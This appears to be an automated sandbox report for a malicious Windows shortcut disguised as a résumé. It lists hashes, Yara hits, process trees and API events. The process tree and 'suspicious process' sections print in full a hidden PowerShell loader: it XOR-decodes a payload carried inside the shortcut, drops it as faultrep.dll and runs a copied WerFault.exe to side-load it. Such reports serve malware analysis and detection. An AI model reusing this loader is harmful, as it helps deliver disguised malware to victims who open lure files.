Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 1, 2024, 2:45 p.m.	Aug. 1, 2024, 2:47 p.m.

Size	618.5KB
Type	MS Windows shortcut, Has Description string, Has command line arguments, Icon number=13, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5	`e449e8239ec8d3910d2f81ed22ec762c`
SHA256	`732a6bf2345e9cc40b9a6a1164dc2e823955cbc56a5d3750e675d1c4db7f7415`
CRC32	`3EA7CF11`
ssdeep	`12288:D+5QA/D71iL0nJvsy8+uZ2gV/dpC8U/isjNE0H37AfZwJCdPUdpYjPLMMMuMH15P:DUf/D71iCCGuwgV/bGLmK37EZuCBUdWS`
Yara	lnk_file_format - Microsoft Windows Shortcut File Format Lnk_Format_Zero - LNK Format Generic_Malware_Zero - Generic Malware

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "yoVJhFglFuTlHyPN" C:\Users\test22\AppData\Local\Temp\【算法工程师】李子豪.lnk
2548
- cmd.exe "C:\Windows\system32\cmd.exe" /c copy C:\Windows\system32\WerFault.exe C:\Users\test22\AppData\Local\Temp\WerFault.exe && powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x0009AA06} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x71 }; $path = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $path ([byte[]]($file ^| select -Skip 012238)) -Encoding Byte; ^& C:\Users\test22\AppData\Local\Temp\WerFault.exe;
  2660
  - powershell.exe powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x0009AA06} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x71 }; $path = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $path ([byte[]]($file | select -Skip 012238)) -Encoding Byte; & C:\Users\test22\AppData\Local\Temp\WerFault.exe;
    2752
    - WerFault.exe "C:\Users\test22\AppData\Local\Temp\WerFault.exe"
      2112

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 1, 2024, 2:45 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2024, 2:45 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2024, 2:45 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2024, 2:45 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 1, 2024, 2:45 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 1, 2024, 2:45 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 1, 2024, 2:45 p.m.			0	0

Command line console output was observed (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW Aug. 1, 2024, 2:45 p.m.	buffer: 1 file(s) copied. console_handle: 0x00000007	1	1	0

Uses Windows APIs to generate a cryptographic key (45 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057ba38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057c338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057c338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057c338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057c338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057c338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057c338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057beb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057beb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057beb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057baf8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057b6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bbb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:45 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bbb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bbb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bbb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bbb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bbb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 1, 2024, 2:46 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0057bbb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 1, 2024, 2:45 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 135 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 1638400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02910000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0256a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02562000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02572000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a61000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a62000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0259a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02573000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02574000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0256b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02592000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02575000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0259c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02576000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02593000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02594000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02595000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02596000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02597000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02598000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02599000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a51000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a52000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a53000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a54000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a55000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a56000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a57000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a59000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a5a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a5b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a5d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a5e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a5f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 1, 2024, 2:45 p.m.	process_identifier: 2752 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ac4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\faultrep.dll

Creates a shortcut to an executable file (2 events)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file	C:\Users\test22\AppData\Local\Temp\【算法工程师】李子豪.lnk

Creates a suspicious process (2 events)

cmdline

"C:\Windows\system32\cmd.exe" /c copy C:\Windows\system32\WerFault.exe C:\Users\test22\AppData\Local\Temp\WerFault.exe && powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x0009AA06} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x71 }; $path = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $path ([byte[]]($file ^| select -Skip 012238)) -Encoding Byte; ^& C:\Users\test22\AppData\Local\Temp\WerFault.exe;

cmdline

powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 0x0009AA06} | Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x71 }; $path = 'C:\Users\test22\AppData\Local\Temp\faultrep.dll'; sc $path ([byte[]]($file | select -Skip 012238)) -Encoding Byte; & C:\Users\test22\AppData\Local\Temp\WerFault.exe;

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
